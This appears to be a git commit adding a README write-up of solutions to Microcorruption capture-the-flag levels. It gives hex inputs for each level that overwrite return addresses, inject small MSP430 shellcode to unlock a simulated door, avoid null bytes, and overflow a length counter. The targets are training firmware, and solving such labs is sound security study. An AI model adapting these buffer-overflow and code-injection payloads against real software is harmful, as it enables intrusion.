Document exercises Cusco till Jakarta
This commit is contained in:
178
README.md
178
README.md
@@ -110,4 +110,182 @@ bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb4644
|
|||||||
|
|
||||||
## Reykjavik
|
## Reykjavik
|
||||||
|
|
||||||
|
This exercise is only tricky because the application decrypts the code into
|
||||||
|
0x2400 at runtime and then executes from there. The consequence is that no
|
||||||
|
disassembly view is available.
|
||||||
|
|
||||||
|
The easiest way to solve this is to run till the password prompt. Then single
|
||||||
|
step and the second instruction will look like this:
|
||||||
|
|
||||||
|
```
|
||||||
|
CPU Cycles: 22680
|
||||||
|
b490 455e dcff
|
||||||
|
cmp #0x5e45, -0x24(r4)
|
||||||
|
```
|
||||||
|
|
||||||
|
We can then guess that 455e (hex) (0x5e45 in little endian) is the solution:
|
||||||
|
|
||||||
|
```
|
||||||
|
455e
|
||||||
|
```
|
||||||
|
|
||||||
|
If we hadn't gotten that lucky, the next step would be to copy and disassembly
|
||||||
|
all the code starting at 0x2400. We will probably have to do something like
|
||||||
|
that in later exercises.
|
||||||
|
|
||||||
|
## Whitehorse
|
||||||
|
|
||||||
|
For this exercise we combine two techniques. First, we notice that the
|
||||||
|
vulnerability we first saw in Cusco where we can manipulate the return address
|
||||||
|
to any value is present. However, because HSM-2 is in use, there is no unlock
|
||||||
|
door function.
|
||||||
|
|
||||||
|
Second, we notice that the password input is stored at 0x36b8.
|
||||||
|
|
||||||
|
What that allows us to do is to inject code that unlocks the door, and then
|
||||||
|
jump to that exact code via the return address manipulation.
|
||||||
|
|
||||||
|
We write the code to unlock the door:
|
||||||
|
|
||||||
|
```
|
||||||
|
push #0x7f // INT ID for unlock door
|
||||||
|
call #0x4532 // jump to INT
|
||||||
|
```
|
||||||
|
|
||||||
|
And [assemble](https://microcorruption.com/assembler) it to:
|
||||||
|
|
||||||
|
```
|
||||||
|
30127f00b0123245
|
||||||
|
```
|
||||||
|
|
||||||
|
Then we add a fill pattern and change the return address to 0x36b8, so that
|
||||||
|
the injected code gets executed. The result in hex looks like this:
|
||||||
|
|
||||||
|
```
|
||||||
|
code to unlock door / return to injected code
|
||||||
|
---------------- ----
|
||||||
|
30127f00b0123245eeeeeeeeeeeeeeeeb836
|
||||||
|
----------------
|
||||||
|
fill up /
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## Montevideo
|
||||||
|
|
||||||
|
This one is similar to Whitehorse, except a string copy function copies
|
||||||
|
the input password to a different location. That is an issue because our
|
||||||
|
previous code contains 0x00 (null character) which terminates the string.
|
||||||
|
|
||||||
|
To work around this, we have to get creative to avoid 0x00 in our code. For
|
||||||
|
example, the following works:
|
||||||
|
|
||||||
|
```
|
||||||
|
mov #0x1190, r15
|
||||||
|
sub #0x1111, r15
|
||||||
|
push r15 // 0x1190 - 0x1111 = 0x7f <=> ID for unlock door
|
||||||
|
call #0x454c // jump to INT
|
||||||
|
```
|
||||||
|
|
||||||
|
Because it results in the following assembly without 0x00:
|
||||||
|
|
||||||
|
```
|
||||||
|
3f4090113f8011110f12b0124c45
|
||||||
|
```
|
||||||
|
|
||||||
|
As before, we manipulate the return address to execute the injected code, and
|
||||||
|
get the solution (in hex):
|
||||||
|
|
||||||
|
```
|
||||||
|
code to unlock door / return to injected code
|
||||||
|
---------------------------- ----
|
||||||
|
3f4090113f8011110f12b0124c45ccccee43
|
||||||
|
----
|
||||||
|
two fill bytes /
|
||||||
|
```
|
||||||
|
|
||||||
|
## Johannesburg
|
||||||
|
|
||||||
|
This lock uses HSM-1 and we can directly manipulate the return address
|
||||||
|
to jump to the unlock door function. However, there is an additional check
|
||||||
|
that verifies that the 18th (0x11 offset) character of the input is 0x40:
|
||||||
|
|
||||||
|
```
|
||||||
|
4578: f190 4000 1100 cmp.b #0x40, 0x11(sp)
|
||||||
|
```
|
||||||
|
|
||||||
|
Therefore, we have to make sure that this byte of our input is 0x40, and
|
||||||
|
then change the return address to 0x4446 (unlock door functio entry). The solution is
|
||||||
|
then (in hex):
|
||||||
|
|
||||||
|
```
|
||||||
|
fill bytes / override stack to return to unlock_door
|
||||||
|
---------------------------------- ----
|
||||||
|
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa404644
|
||||||
|
--
|
||||||
|
pass check at 0x4578 /
|
||||||
|
```
|
||||||
|
|
||||||
|
## Santa Cruz
|
||||||
|
|
||||||
|
This is another exercise where we can manipulate the return address to point to
|
||||||
|
the unlock function. However, there are two checks that make our life harder.
|
||||||
|
|
||||||
|
Firstly, the value at 0x43b3 (0x08 intially) and 0x43b4 (0x10 initially) are used to
|
||||||
|
validate the minimum and maximum length of the user password.
|
||||||
|
|
||||||
|
Secondly, the byte at 0x43c6 must be zero, otherwise the program stops execution before
|
||||||
|
the return pointer manipulation becomes effection.
|
||||||
|
|
||||||
|
With that information, we can set the username to (in hex):
|
||||||
|
|
||||||
|
```
|
||||||
|
/ upper and lower password length bounds
|
||||||
|
----
|
||||||
|
ccccccccccccccccccccccccccccccccff01cccccccccccccccccccccccccccccccccccccccccccccccc4a44
|
||||||
|
----
|
||||||
|
return address to unlock_door /
|
||||||
|
```
|
||||||
|
|
||||||
|
And the password to:
|
||||||
|
|
||||||
|
```
|
||||||
|
-- byte at 0x43c6 must be zero (via null byte of <getsn>)
|
||||||
|
2222222222222222222222222222222222
|
||||||
|
```
|
||||||
|
|
||||||
|
## Jakarta
|
||||||
|
|
||||||
|
This exercise is yet again vulnerable to a return address override. However,
|
||||||
|
it also executes a length check which prevents us from making the input long
|
||||||
|
enough to override the return address.
|
||||||
|
|
||||||
|
However, we can make the password long enough to overflow the length counter and therefore
|
||||||
|
circumvent the length check.
|
||||||
|
|
||||||
|
For example, the username could be the following (in hex):
|
||||||
|
|
||||||
|
```
|
||||||
|
6161616161616161616161616161616161616161616161616161616161616161
|
||||||
|
```
|
||||||
|
|
||||||
|
And then we use the following passowrd.
|
||||||
|
|
||||||
|
```
|
||||||
|
/ set return address to unlock_door
|
||||||
|
----
|
||||||
|
626262624c44626262626262626262626262626262626262626262626262626262626262
|
||||||
|
626262626262626262626262626262626262626262626262626262626262626262626262
|
||||||
|
626262626262626262626262626262626262626262626262626262626262626262626262
|
||||||
|
626262626262626262626262626262626262626262626262626262626262626262626262
|
||||||
|
626262626262626262626262626262626262626262626262626262626262626262626262
|
||||||
|
626262626262626262626262626262626262626262626262626262626262626262626262
|
||||||
|
62626262626262626262626262626262626262626262626262626262
|
||||||
|
-
|
||||||
|
\ make rest of string long enough to overflow input length counter
|
||||||
|
```
|
||||||
|
|
||||||
|
## Addis Ababa
|
||||||
|
|
||||||
|
```
|
||||||
|
603a256e61256e
|
||||||
|
```
|
||||||
|
|||||||
Reference in New Issue
Block a user